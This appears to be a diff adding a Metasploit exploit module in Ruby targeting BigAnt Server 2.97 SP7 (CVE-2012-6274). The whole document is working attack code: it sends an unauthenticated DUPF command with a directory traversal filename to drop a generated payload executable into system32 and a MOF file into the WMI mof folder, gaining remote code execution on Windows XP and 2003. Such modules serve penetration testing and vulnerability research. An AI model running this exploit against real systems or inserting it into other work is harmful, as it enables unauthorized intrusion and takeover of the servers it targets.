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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Tcp |
| 14 | + include Msf::Exploit::EXE |
| 15 | + include Msf::Exploit::WbemExec |
| 16 | + include Msf::Exploit::FileDropper |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(update_info(info, |
| 20 | + 'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload', |
| 21 | + 'Description' => %q{ |
| 22 | + This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7. |
| 23 | + A lack of authentication allows to make unauthenticated file uploads through a DUPF |
| 24 | + command. Additionally the filename option in the same command can be used to launch |
| 25 | + a directory traversal attack and achieve arbitrary file upload. |
| 26 | +
|
| 27 | + The module uses uses the Windows Management Instrumentation service to execute an |
| 28 | + arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It |
| 29 | + has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 |
| 30 | + SP2. |
| 31 | + }, |
| 32 | + 'Author' => |
| 33 | + [ |
| 34 | + 'Hamburgers Maccoy', # Vulnerability discovery |
| 35 | + 'juan vazquez' # Metasploit module |
| 36 | + ], |
| 37 | + 'License' => MSF_LICENSE, |
| 38 | + 'References' => |
| 39 | + [ |
| 40 | + [ 'CVE', '2012-6274' ], |
| 41 | + [ 'US-CERT-VU', '990652' ], |
| 42 | + [ 'BID', '57214' ], |
| 43 | + [ 'OSVDB', '89342' ] |
| 44 | + ], |
| 45 | + 'Privileged' => true, |
| 46 | + 'Platform' => 'win', |
| 47 | + 'Targets' => |
| 48 | + [ |
| 49 | + [ 'BigAnt Server 2.97 SP7', { } ] |
| 50 | + ], |
| 51 | + 'DefaultTarget' => 0, |
| 52 | + 'DefaultOptions' => |
| 53 | + { |
| 54 | + 'WfsDelay' => 10 |
| 55 | + }, |
| 56 | + 'DisclosureDate' => 'Jan 09 2013')) |
| 57 | + |
| 58 | + register_options( |
| 59 | + [ |
| 60 | + Opt::RPORT(6661), |
| 61 | + OptInt.new('DEPTH', [true, "Levels to reach base directory", 6]) |
| 62 | + ], self.class) |
| 63 | + |
| 64 | + end |
| 65 | + |
| 66 | + def upload_file(filename, content) |
| 67 | + |
| 68 | + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" |
| 69 | + |
| 70 | + dupf = "DUPF 16\n" |
| 71 | + dupf << "cmdid: 1\n" |
| 72 | + dupf << "content-length: #{content.length}\n" |
| 73 | + dupf << "content-type: Appliction/Download\n" |
| 74 | + dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n" |
| 75 | + dupf << "modified: #{random_date}\n" |
| 76 | + dupf << "pclassid: 102\n" |
| 77 | + dupf << "pobjid: 1\n" |
| 78 | + dupf << "rootid: 1\n" |
| 79 | + dupf << "sendcheck: 1\n\n" |
| 80 | + dupf << content |
| 81 | + |
| 82 | + print_status("sending DUPF") |
| 83 | + connect |
| 84 | + sock.put(dupf) |
| 85 | + res = sock.get_once |
| 86 | + disconnect |
| 87 | + return res |
| 88 | + |
| 89 | + end |
| 90 | + |
| 91 | + def exploit |
| 92 | + |
| 93 | + peer = "#{rhost}:#{rport}" |
| 94 | + |
| 95 | + # Setup the necessary files to do the wbemexec trick |
| 96 | + exe_name = rand_text_alpha(rand(10)+5) + '.exe' |
| 97 | + exe = generate_payload_exe |
| 98 | + mof_name = rand_text_alpha(rand(10)+5) + '.mof' |
| 99 | + mof = generate_mof(mof_name, exe_name) |
| 100 | + |
| 101 | + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}") |
| 102 | + res = upload_file("WINDOWS\\system32\\#{exe_name}", exe) |
| 103 | + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ |
| 104 | + print_good("#{peer} - #{exe_name} uploaded successfully") |
| 105 | + else |
| 106 | + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ |
| 107 | + print_error("#{peer} - Upload failed, check the DEPTH option") |
| 108 | + end |
| 109 | + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}") |
| 110 | + end |
| 111 | + |
| 112 | + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}") |
| 113 | + res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) |
| 114 | + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ |
| 115 | + print_good("#{peer} - #{mof_name} uploaded successfully") |
| 116 | + register_file_for_cleanup(exe_name) |
| 117 | + register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") |
| 118 | + else |
| 119 | + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ |
| 120 | + print_error("#{peer} - Upload failed, check the DEPTH option") |
| 121 | + end |
| 122 | + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}") |
| 123 | + end |
| 124 | + |
| 125 | + end |
| 126 | + |
| 127 | +end |
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